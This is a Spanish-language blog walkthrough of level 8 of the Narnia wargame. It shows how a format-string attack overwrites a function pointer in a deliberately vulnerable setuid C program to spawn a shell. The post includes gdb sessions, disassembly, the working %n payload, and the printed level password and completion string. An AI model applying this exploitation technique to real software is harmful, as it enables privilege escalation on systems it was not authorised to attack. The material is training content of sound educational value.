systemadmin.es » Programación » Wargame narnia: Nivel 8

Wargame narnia: Nivel 8

En este último nivel del wargame narnia deberemos usar un format string attack para modificar el valor de un puntero de función por una función diferente que nos da una shell.

El código propuesto por el nivel es el siguiente:

/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int goodfunction();
int hackedfunction();

int vuln(const char *format){
        char buffer[128];
        int (*ptrf)();

        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);

        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;

        snprintf(buffer, sizeof buffer, format);

        return ptrf();
}

int main(int argc, char **argv){
        int i;
        if (argc <= 1){
                fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
                exit(-1);
        }
        exit(vuln(argv[1]));
}

int goodfunction(){
        printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
        fflush(stdout);

        return 0;
}

int hackedfunction(){
        printf("Way to go!!!!");
        seteuid(1009);
        system("/bin/sh");

        return 0;
}

Una de las primeras cosas que llaman la atención es el sleep:

        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;

Puede que sea para darle emoción al último nivel pero es molesto, podemos eliminar la espera mientras jugamos con el gdb capturando la llamada mediante el típico LD_PRELOAD. La función debe ser:

unsigned int sleep(unsigned int seconds);

Creamos un sleep que salga inmediatamente de la función:

level8@narnia:/tmp/buchdich$ cat insomnia.c
unsigned int sleep(unsigned int a)
{
	return 0;
}

level8@narnia:/tmp/buchdich$ gcc -fPIC -shared -o insomnia.so insomnia.c

A continuación podemos dejarlo permanente:

level8@narnia:/tmp/buchdich$ export LD_PRELOAD="./insomnia.so"

Realizamos una primera ejecución del programa:

level8@narnia:/tmp/buchdich$ gdb -q /wargame/level8
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) r a
Starting program: /wargame/level8 a
goodfunction() = 0x804867a
hackedfunction() = 0x80486a0

before : ptrf() = 0x804867a (0xbffff96c)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..

Program exited normally.
(gdb)

Tal como vimos en el nivel 6 mediante la posición 6 de la pila obtenemos el inicio de la cadena que combinado con %n podemos escribir en la posición de memoria que le indiquemos:

(gdb) r aaaa%6\$n
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /wargame/level8 aaaa%6\$n
goodfunction() = 0x804867a
hackedfunction() = 0x80486a0

before : ptrf() = 0x804867a (0xbffff96c)
I guess you want to come to the hackedfunction...

Program received signal SIGSEGV, Segmentation fault.
0xb7eeee29 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
(gdb) bt
#0  0xb7eeee29 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
#1  0xb7f0cf81 in vsnprintf () from /lib/tls/i686/cmov/libc.so.6
#2  0xb7ef4365 in snprintf () from /lib/tls/i686/cmov/libc.so.6
#3  0x0804860c in vuln ()
#4  0x08048672 in main ()
(gdb)

Vemos que se produce un segmentation fault al intentar escribir en 0×61616161. Deberemos entonces cambiar el aaaa por la dirección de la variable ptrf: 0xbffff96c que nos da el propio binario al ejecutarlo.

Para ver la dirección que se llama en gdb deberemos buscar un punto para hacer el break, por lo que deberemos desensamblar la función vuln:

(gdb) disass vuln
Dump of assembler code for function vuln:
0x08048554 <vuln+0>:	push   ebp
0x08048555 <vuln+1>:	mov    ebp,esp
0x08048557 <vuln+3>:	sub    esp,0xa8
0x0804855d <vuln+9>:	mov    DWORD PTR [esp+8],0x80
0x08048565 <vuln+17>:	mov    DWORD PTR [esp+4],0x0
0x0804856d <vuln+25>:	lea    eax,[ebp-0x88]
0x08048573 <vuln+31>:	mov    DWORD PTR [esp],eax
0x08048576 <vuln+34>:	call   0x804847c <memset@plt>
0x0804857b <vuln+39>:	mov    DWORD PTR [esp+4],0x804867a
0x08048583 <vuln+47>:	mov    DWORD PTR [esp],0x80487d8
0x0804858a <vuln+54>:	call   0x804844c <printf@plt>
0x0804858f <vuln+59>:	mov    DWORD PTR [esp+4],0x80486a0
0x08048597 <vuln+67>:	mov    DWORD PTR [esp],0x80487ed
0x0804859e <vuln+74>:	call   0x804844c <printf@plt>
0x080485a3 <vuln+79>:	mov    DWORD PTR [ebp-0x8c],0x804867a
0x080485ad <vuln+89>:	lea    eax,[ebp-0x8c]
0x080485b3 <vuln+95>:	mov    DWORD PTR [esp+8],eax
0x080485b7 <vuln+99>:	mov    eax,DWORD PTR [ebp-0x8c]
0x080485bd <vuln+105>:	mov    DWORD PTR [esp+4],eax
0x080485c1 <vuln+109>:	mov    DWORD PTR [esp],0x8048805
0x080485c8 <vuln+116>:	call   0x804844c <printf@plt>
0x080485cd <vuln+121>:	mov    DWORD PTR [esp],0x8048820
0x080485d4 <vuln+128>:	call   0x804844c <printf@plt>
0x080485d9 <vuln+133>:	mov    DWORD PTR [esp],0x2
0x080485e0 <vuln+140>:	call   0x804842c <sleep@plt>
0x080485e5 <vuln+145>:	mov    DWORD PTR [ebp-0x8c],0x804867a
0x080485ef <vuln+155>:	mov    eax,DWORD PTR [ebp+8]
0x080485f2 <vuln+158>:	mov    DWORD PTR [esp+8],eax
0x080485f6 <vuln+162>:	mov    DWORD PTR [esp+4],0x80
0x080485fe <vuln+170>:	lea    eax,[ebp-0x88]
0x08048604 <vuln+176>:	mov    DWORD PTR [esp],eax
0x08048607 <vuln+179>:	call   0x804845c <snprintf@plt>
0x0804860c <vuln+184>:	mov    eax,DWORD PTR [ebp-0x8c]
0x08048612 <vuln+190>:	call   eax
0x08048614 <vuln+192>:	leave
0x08048615 <vuln+193>:	ret
End of assembler dump.

Podemos escoger el punto 0×08048612 (antes de hacer el call eax) para tener en eax la dirección de al función a llamar. Establecemos el breakpoint:

(gdb) break *0x08048612
Breakpoint 1 at 0x8048612

Probamos escribiendo a la dirección que nos indica:

(gdb) r `perl -e 'print "\x6c\xf9\xff\xbf"'`%6\$n
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /wargame/level8 `perl -e 'print "\x6c\xf9\xff\xbf"'`%6\$n
goodfunction() = 0x804867a
hackedfunction() = 0x80486a0

before : ptrf() = 0x804867a (0xbffff96c)
I guess you want to come to the hackedfunction...

Breakpoint 2, 0x0804860c in vuln ()
(gdb) info registers
eax            0x4	4
ecx            0x0	0
edx            0x4	4
ebx            0xb7fdcff4	-1208102924
esp            0xbffff950	0xbffff950
ebp            0xbffff9f8	0xbffff9f8
esi            0x0	0
edi            0xb8000cc0	-1207956288
eip            0x804860c	0x804860c <vuln+184>
eflags         0x286	[ PF SF IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb)

Vemos como se ha modificado el puntero a la dirección 0×4 por los 4 bytes escritos. Si continuamos la ejecución intentará saltar a dicha dirección y provocará un segmentation fault:

(gdb) n
Single stepping until exit from function vuln,
which has no line number information.

Program received signal SIGSEGV, Segmentation fault.
0x00000004 in ?? ()

Para dejar el valor adecuado en la variable la pasamos a decimal:

0x80486a0 --> 134514336

Le restamos 4 bytes por la dirección de la variable y añadimos un padding de 134514332 bytes para escribir el valor que nos interesa:

(gdb) r `perl -e 'print "\x6c\xf9\xff\xbf"'`%134514332x%6\$n
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /wargame/level8 `perl -e 'print "\x6c\xf9\xff\xbf"'`%134514332x%6\$n
goodfunction() = 0x804867a
hackedfunction() = 0x80486a0

before : ptrf() = 0x804867a (0xbffff95c)
I guess you want to come to the hackedfunction...

Breakpoint 1, 0x08048612 in vuln ()
(gdb) info registers
eax            0x804867a	134514298
ecx            0x0	0
edx            0x80486a0	134514336
ebx            0xb7fdcff4	-1208102924
esp            0xbffff940	0xbffff940
ebp            0xbffff9e8	0xbffff9e8
esi            0x0	0
edi            0xb8000cc0	-1207956288
eip            0x8048612	0x8048612 <vuln+190>
eflags         0x282	[ SF IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

(gdb) n
Single stepping until exit from function vuln,
which has no line number information.
Welcome to the goodfunction, but i said the Hackedfunction..
0x08048672 in main ()
(gdb)

Nos falla porque por la cadena se nos ha movido la variable de dirección, simplemente cambiamos la dirección por la que nos reporta el binario:

(gdb) r `perl -e 'print "\x6c\xf9\xff\xbf"'`%134514332x%6\$n
Starting program: /wargame/level8 `perl -e 'print "\x6c\xf9\xff\xbf"'`%134514332x%6\$n
goodfunction() = 0x804867a
hackedfunction() = 0x80486a0

before : ptrf() = 0x804867a (0xbffff97c)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..

Program exited normally.
(gdb) r `perl -e 'print "\x7c\xf9\xff\xbf"'`%134514332x%6\$n
Starting program: /wargame/level8 `perl -e 'print "\x7c\xf9\xff\xbf"'`%134514332x%6\$n
goodfunction() = 0x804867a
hackedfunction() = 0x80486a0

before : ptrf() = 0x804867a (0xbffff97c)
I guess you want to come to the hackedfunction...
sh-3.1$ exit
Way to go!!!!
Program exited normally.

Como apreciamos tenemos éxito dentro del gdb, por lo que podemos proceder a ejecutarlo para finalizar el wargame:

level8@narnia:~$ /wargame/level8 $(perl -e 'print "\x8c\xf9\xff\xbf"')%134514332x%6\$n
goodfunction() = 0x804867a
hackedfunction() = 0x80486a0

before : ptrf() = 0x804867a (0xbffff98c)
I guess you want to come to the hackedfunction...
sh-3.1$ id
uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1008(level8)
sh-3.1$ cd /home/level9
sh-3.1$ ls
CONGRATULATIONS
sh-3.1$ cat CONGRATULATIONS 

Congratulations !!!
You have completed the introduction to software exploitation
and are now ready to advance further.

The completion string is:
"mu3Xeah} ieD4am_i ID&ae1ne goh[Z9ae ue[Pi2Oh"

sh-3.1$ cat .passwd
Lae1No|p
sh-3.1$

Podemos dar por finalizado el wargame narnia, pero hay muchos otros.

Fugados del nivel

Fugados del nivel

El listado de soluciones de otros niveles del wargame de narnia es el siguiente:

Relacionados

Imprimir Imprimir

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>